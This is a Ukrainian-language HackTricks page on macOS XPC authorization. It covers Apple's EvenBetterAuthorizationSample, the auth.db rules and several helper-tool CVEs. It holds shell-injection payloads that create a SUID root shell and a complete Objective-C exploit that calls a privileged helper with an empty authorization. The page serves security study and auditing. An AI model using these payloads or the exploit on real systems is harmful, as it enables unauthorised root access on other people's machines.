macOS XPC Авторизація

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

XPC Авторизація

Apple також пропонує інший спосіб автентифікації, якщо процес, що підключається, має дозволи викликати відкритий XPC-метод.

Коли додатку потрібно виконувати дії від імені привілейованого користувача, замість запуску самого додатку з правами привілейованого користувача зазвичай як root встановлюють HelperTool як XPC-сервіс, який додаток може викликати для виконання цих дій. Проте додаток, що викликає сервіс, повинен мати достатню авторизацію.

ShouldAcceptNewConnection завжди YES

Приклад можна знайти в EvenBetterAuthorizationSample. У App/AppDelegate.m він намагається підключитися до HelperTool. А в HelperTool/HelperTool.m функція shouldAcceptNewConnection не перевіряє жодної з наведених раніше вимог. Вона завжди повертає YES:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Для отримання додаткової інформації про те, як правильно налаштувати цю перевірку:

macOS XPC Connecting Process Check

Права застосунку

Однак відбувається певна авторизація, коли викликається метод з HelperTool.

Функція applicationDidFinishLaunching з App/AppDelegate.m створює порожній authorization reference після запуску додатку. Це має завжди працювати.
Потім вона спробує додати деякі права до цього authorization reference, викликавши setupAuthorizationRights:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

Функція setupAuthorizationRights з Common/Common.m збереже в auth database /var/db/auth.db права додатка. Зверніть увагу, що вона додасть лише ті права, яких ще немає в базі даних:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

Функція enumerateRightsUsingBlock — та, яка використовується для отримання дозволів додатків, які визначені в commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Це означає, що в кінці цього процесу дозволи, оголошені всередині commandInfo, будуть збережені в /var/db/auth.db. Зверніть увагу, що там можна знайти для кожного методу, який буде вимагати автентифікації, ім’я дозволу та kCommandKeyAuthRightDefault. Останній вказує, хто може отримати це право.

There are different scopes to indicate who can access a right. Some of them are defined in AuthorizationDB.h (you can find all of them in here), but as summary:

НазваЗначенняОпис
kAuthorizationRuleClassAllowallowБудь-хто
kAuthorizationRuleClassDenydenyНіхто
kAuthorizationRuleIsAdminis-adminПоточний користувач повинен бути адміністратором (в групі адміністраторів)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerПопросити користувача автентифікуватися.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminПопросити користувача автентифікуватися. Він повинен бути адміністратором (в групі адміністраторів)
kAuthorizationRightRuleruleВказати правила
kAuthorizationCommentcommentДодати додаткові коментарі до права

Перевірка прав

In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Зверніть увагу, що щоб перевірити вимоги для отримання права викликати цей метод, функція authorizationRightForCommand просто перевіряє раніше зазначений об’єкт commandInfo. Потім вона викликає AuthorizationCopyRights, щоб перевірити чи має вона права викликати функцію (зауважте, що прапорці дозволяють взаємодію з користувачем).

У цьому випадку, щоб викликати функцію readLicenseKeyAuthorization, kCommandKeyAuthRightDefault визначено як @kAuthorizationRuleClassAllow. Тому будь-хто може її викликати.

Інформація про DB

Було згадано, що ця інформація зберігається в /var/db/auth.db. Ви можете перерахувати всі збережені правила за допомогою:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Тоді ви можете дізнатися, хто має доступ до цього права за допомогою:

security authorizationdb read com.apple.safaridriver.allow

Дозвільні права

Ви можете знайти всі конфігурації дозволів in here, але комбінації, які не вимагатимуть взаємодії з користувачем, будуть такі:

  1. ‘authenticate-user’: ‘false’
  • Це найпряміший ключ. Якщо встановлено в false, це означає, що користувачеві не потрібно надавати автентифікацію, щоб отримати це право.
  • Це використовується в комбінації з одним із двох нижче або вказуючи групу до якої повинен належати користувач.
  1. ‘allow-root’: ‘true’
  • Якщо користувач працює як root (який має підвищені права), і цей ключ встановлено в true, root-користувач потенційно може отримати це право без додаткової автентифікації. Однак зазвичай отримання статусу root вже вимагає автентифікації, тому для більшості користувачів це не є сценарієм «без автентифікації».
  1. ‘session-owner’: ‘true’
  • Якщо встановлено в true, власник сесії (поточний користувач, що увійшов у систему) автоматично отримає це право. Це може обійти додаткову автентифікацію, якщо користувач уже увійшов у систему.
  1. ‘shared’: ‘true’
  • Цей ключ не надає права без автентифікації. Натомість, якщо він встановлений в true, це означає, що один раз аутентифіковане право може бути поділено між кількома процесами без потреби, щоб кожен з них проходив автентифікацію повторно. Але первісне надання цього права все ще вимагатиме автентифікації, якщо воно не поєднане з іншими ключами, наприклад 'authenticate-user': 'false'.

You can use this script to get the interesting rights:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Приклади обходу авторизації

  • CVE-2025-65842 – Acustica Audio Aquarius HelperTool: Привілейований Mach service com.acustica.HelperTool приймає всі з’єднання, а його рутина checkAuthorization: викликає AuthorizationCopyRights(NULL, …), тому будь-який 32‑байтовий blob проходить. executeCommand:authorization:withReply: потім передає контрольовані атакуючим, комами розділені рядки в NSTask під root, створюючи payloads такі як:
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"

легко створити SUID root shell. Деталі в this write-up.

  • CVE-2025-55076 – Plugin Alliance InstallationHelper: слухач завжди повертає YES і той самий NULL-шаблон AuthorizationCopyRights з’являється в checkAuthorization:. Метод exchangeAppWithReply: конкатенує введені дані від атакуючого в рядок system() двічі, тож інжекція shell metacharacters в appPath (наприклад "/Applications/Test.app";chmod 4755 /tmp/rootbash;) призводить до виконання коду з правами root через Mach service com.plugin-alliance.pa-installationhelper. Детальніше here.
  • CVE-2024-4395 – Jamf Compliance Editor helper: виконання аудиту кладе /Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist, відкриває Mach service com.jamf.complianceeditor.helper і експортує -executeScriptAt:arguments:then: без перевірки AuthorizationExternalForm викликачa або code signature. Тривіальний експлойт робить AuthorizationCreate порожньої референції, підключається через [[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged] і викликає метод для виконання довільних бінарників від імені root. Повні нотатки з реверсингу (плюс PoC) — в Mykola Grymalyuk’s write-up.
  • CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 та 7.4.0–7.4.2 приймали зібрані XPC-повідомлення, які діставалися до привілейованого helper без авторизаційних перевірок. Оскільки helper довіряв власному привілейованому AuthorizationRef, будь-який локальний користувач, який міг надсилати повідомлення службі, міг змусити її виконати довільні зміни конфігурації або команди з правами root. Деталі в SentinelOne’s advisory summary.

Поради для швидкого тріажу

  • Коли додаток постачається і з GUI, і з helper, порівняйте їхні code requirements і перевірте, чи shouldAcceptNewConnection фіксує listener за допомогою -setCodeSigningRequirement: (або валідовує SecCodeCopySigningInformation). Відсутні перевірки зазвичай призводять до сценаріїв типу CWE-863, як у випадку Jamf. Швидкий огляд виглядає так:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
  • Порівняйте, що помічник вважає, що він авторизує, з тим, що надає клієнт. Під час реверс-інженерії поставте брейкпоінт на AuthorizationCopyRights і підтвердіть, що AuthorizationRef походить від AuthorizationCreateFromExternalForm (наданий клієнтом), а не з власного привілейованого контексту помічника — інакше ви, ймовірно, натрапили на шаблон CWE-863, подібний до наведених вище.

Реверс авторизації

Перевірка використання EvenBetterAuthorization

Якщо ви знайдете функцію: [HelperTool checkAuthorization:command:], мабуть, процес використовує раніше згадану схему авторизації:

Якщо ця функція викликає такі функції, як AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, то вона використовує EvenBetterAuthorizationSample.

Перевірте /var/db/auth.db, щоб дізнатися, чи можна отримати дозволи на виклик привілейованої дії без взаємодії з користувачем.

Протокол комунікації

Далі потрібно знайти схему протоколу, щоб мати змогу встановити зв’язок із XPC service.

Функція shouldAcceptNewConnection вказує на експортований протокол:

У цьому випадку це так само, як у EvenBetterAuthorizationSample, перегляньте цей рядок.

Знаючи назву використовуваного протоколу, можна dump its header definition за допомогою:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Нарешті, нам потрібно знати назву відкритого Mach Service, щоб встановити з ним зв’язок. Існує кілька способів це знайти:

  • У [HelperTool init], де можна побачити, який Mach Service використовується:
  • У launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit Example

У цьому прикладі створено:

  • Визначення протоколу з функціями
  • Порожній auth, який використовується для запиту доступу
  • Підключення до служби XPC
  • Виклик функції, якщо з’єднання було успішним
// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Інші XPC-помічники привілеїв, що використовувалися

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks